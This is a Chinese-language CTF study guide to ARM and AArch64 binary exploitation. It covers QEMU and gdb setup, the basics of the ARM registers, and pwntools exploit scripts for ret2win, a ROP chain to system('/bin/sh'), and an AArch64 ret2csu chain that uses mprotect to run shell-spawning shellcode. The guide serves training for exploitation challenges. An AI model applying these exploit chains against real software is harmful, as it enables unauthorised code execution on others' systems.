arm aarch64 pwn学习
字数 865 2025-08-19 12:41:42
ARM & AArch64 PWN 学习指南
1. QEMU 环境配置
QEMU 两种运行模式
- qemu-user: 只提供用户态仿真
- qemu-system: 可以进行完整的系统仿真
安装命令
apt search "libc6-" | grep "arm"
sudo apt-get install qemu qemu-user qemu-user-static
本地运行命令
- ARM 程序:
qemu-arm -L /usr/arm-linux-gnueabi ./pwn - AArch64 程序:
qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./pwn
2. GDB 调试配置
安装
sudo apt-get install gdb-multiarch
调试命令
gdb-multiarch pwn -q
set architecture arm # 或 set architecture aarch64
target remote localhost:1234
3. ARM 架构基础
寄存器与x86对比
r0-r2: 储存前三个参数pc: 相当于x86的ripsp: 栈顶指针r11/fp: 类似于x86的rbp
常见指令
bl: 相当于x86的callpop {fp, pc}: 将栈顶值弹出到fp,然后弹出下个值到pc
4. 基础漏洞利用技术
ret2win (ARM ret2text)
- 思路: 栈溢出+后门函数直接调用
- 关键点:
- 确定溢出偏移量
- 定位后门函数地址
- 示例exp:
from pwn import *
context(arch='arm', os='linux')
p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","./pwn"])
pl = "a" * 0x24 + p32(0x000105EC) # 后门函数地址
p.sendafter('>', pl)
p.interactive()
简单ROP (ARM)
- 思路: 通过ROP链调用system("/bin/sh")
- 步骤:
- 使用cyclic确定偏移量(示例中为112)
- 寻找gadget和字符串地址
- 示例exp:
from pwn import *
context(arch='arm', os='linux')
p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","./pwn"])
r0_r4 = 0x00020904 # pop {r0, r4, pc}
bin_sh = 0x0006c384 # "/bin/sh"字符串地址
system = 0x00010BA8 # system函数地址
pl = 'a' * 112 + p32(r0_r4) + p32(bin_sh) + p32(0) + p32(system)
p.send(pl)
p.interactive()
5. AArch64 高级利用技术
ret2csu (AArch64)
-
思路: 利用类似x86的csu_init函数构造ROP链
-
关键点:
- AArch64参数寄存器:
x0-x2 - 使用mprotect修改内存权限后执行shellcode
- AArch64参数寄存器:
-
csu gadget分析:
LDP X19, X20, [SP,#var_s10]: 将sp+0x10处数据给x19,sp+0x18处数据给x20- 类似指令依次处理其他寄存器
- 最后通过
x21(call_got)跳转并比较x19与x20
-
csu函数模板:
def csu(x19, x20, call_got, x2, x1, x0, call_shell):
pl = 'a' * offset
pl += p64(csu_down)
pl += p64(0) + p64(csu_up)
pl += p64(x19) + p64(x20) # x19 x20
pl += p64(call_got) + p64(x2) # x21 x22
pl += p64(x1) + p64(x0) # x23 x24
pl += p64(0) + p64(call_shell)
pl += p64(0) * 6
return pl
- 完整exp示例:
from pwn import *
context.arch = 'aarch64'
p = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu/","./pwn"])
mprotect_plt = 0x400600
mprotect_got = 0x411030
csu_down = 0x4008CC
csu_up = 0x4008AC
offset = 0x48
shellcode_addr = 0x411068
# 第一次read: 写入shellcode
shellcode = asm(shellcraft.aarch64.sh())
p.sendafter('Name:', shellcode)
# 第二次read: 构造ROP链
pl = csu(0, 1, mprotect_got, 7, 0x1000, shellcode_addr, shellcode_addr)
p.send(pl)
p.interactive()
6. 实用技巧
-
调试建议:
- 异架构调试时直接下断点然后运行过去
- 使用cyclic确定偏移量更可靠
-
常用工具函数:
s = lambda data: p.send(str(data))
sa = lambda delim, data: p.sendafter(str(delim), str(data))
sl = lambda data: p.sendline(str(data))
sla = lambda delim, data: p.sendlineafter(str(delim), str(data))
r = lambda num: p.recv(num)
uu32 = lambda data: u32(data.ljust(4, b'\x00'))
uu64 = lambda data: u64(data.ljust(8, b'\x00'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
- 上下文设置:
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context(arch='arm/aarch64', os='linux')
context.log_level = 'debug'
通过以上内容,您可以系统性地学习ARM和AArch64架构下的PWN技术,从基础到进阶,掌握各种漏洞利用方法。